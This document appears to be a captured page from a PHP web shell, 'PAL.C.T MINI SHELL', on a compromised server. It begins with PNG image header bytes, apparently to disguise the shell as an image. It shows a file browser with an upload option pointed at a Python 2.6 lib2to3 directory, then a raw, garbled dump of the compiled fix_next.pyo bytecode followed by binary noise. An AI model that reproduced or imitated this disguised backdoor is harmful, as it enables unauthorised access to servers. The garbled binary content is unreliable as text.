php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_next.pyo

Lc@sdZddklZddklZddklZddkl	Z	l
Z
lZdZdei
fdYZd	Zd
ZdZdS(
s.Fixer for it.next() -> next(it), per PEP 3114.i(ttoken(tpython_symbols(t
fixer_base(tNametCalltfind_bindings;Calls to builtin next() possibly shadowed by global bindingtFixNextcBs&eZdZdZdZdZRS(s
    power< base=any+ trailer< '.' attr='next' > trailer< '(' ')' > >
    |
    power< head=any+ trailer< '.' attr='next' > not trailer< '(' ')' > >
    |
    classdef< 'class' any+ ':'
              suite< any*
                     funcdef< 'def'
                              name='next'
                              parameters< '(' NAME ')' > any+ >
                     any* > >
    |
    global=global_stmt< 'global' any* 'next' any* >
    tprecCsYtt|i||td|}|o|i|tt|_n
t|_dS(Nunext(	tsuperRt
start_treeRtwarningtbind_warningtTruet
shadowed_nexttFalse(tselfttreetfilenametn((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyR	#s
c
Cs|id}|id}|id}|o|io |itdd|iqg}|D]}||iqi~}d|d_|ittdd|i|n|o&tdd|i}|i|n|ot|o`|d	}d
ig}	|D]}|	t	|q~	i
djo|i|tndS|itdn+d|jo|i|tt
|_ndS(
Ntbasetattrtnameu__next__tprefixuiunexttheadtu__builtin__tglobal(tgetR
treplaceRRtcloneRtis_assign_targettjointstrtstripR
RR(
RtnodetresultsRRRt_[1]RRt_[2]((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyt	transform-s,
 '
)

=
(t__name__t
__module__tPATTERNtorderR	R%(((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyRs	
cCsct|}|djotSx>|iD]3}|itijotSt||otSq(WtS(N(	tfind_assigntNoneRtchildrenttypeRtEQUALt
is_subtreeR(R!tassigntchild((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyRPs

	cCsM|itijo|S|itijp|idjodSt|iS(N(R-tsymst	expr_stmttsimple_stmttparentR+R*(R!((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyR*\s
#cs/|jotStfd|iDS(Nc3s"x|]}t|VqWdS(N(R/(t.0tc(R!(s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pys	<genexpr>fs	(RtanyR,(trootR!((R!s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyR/cs
N(t__doc__tpgen2RtpygramRR2RRt
fixer_utilRRRRtBaseFixRRR*R/(((s,/usr/lib/python2.6/lib2to3/fixes/fix_next.pyt<module>s?		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`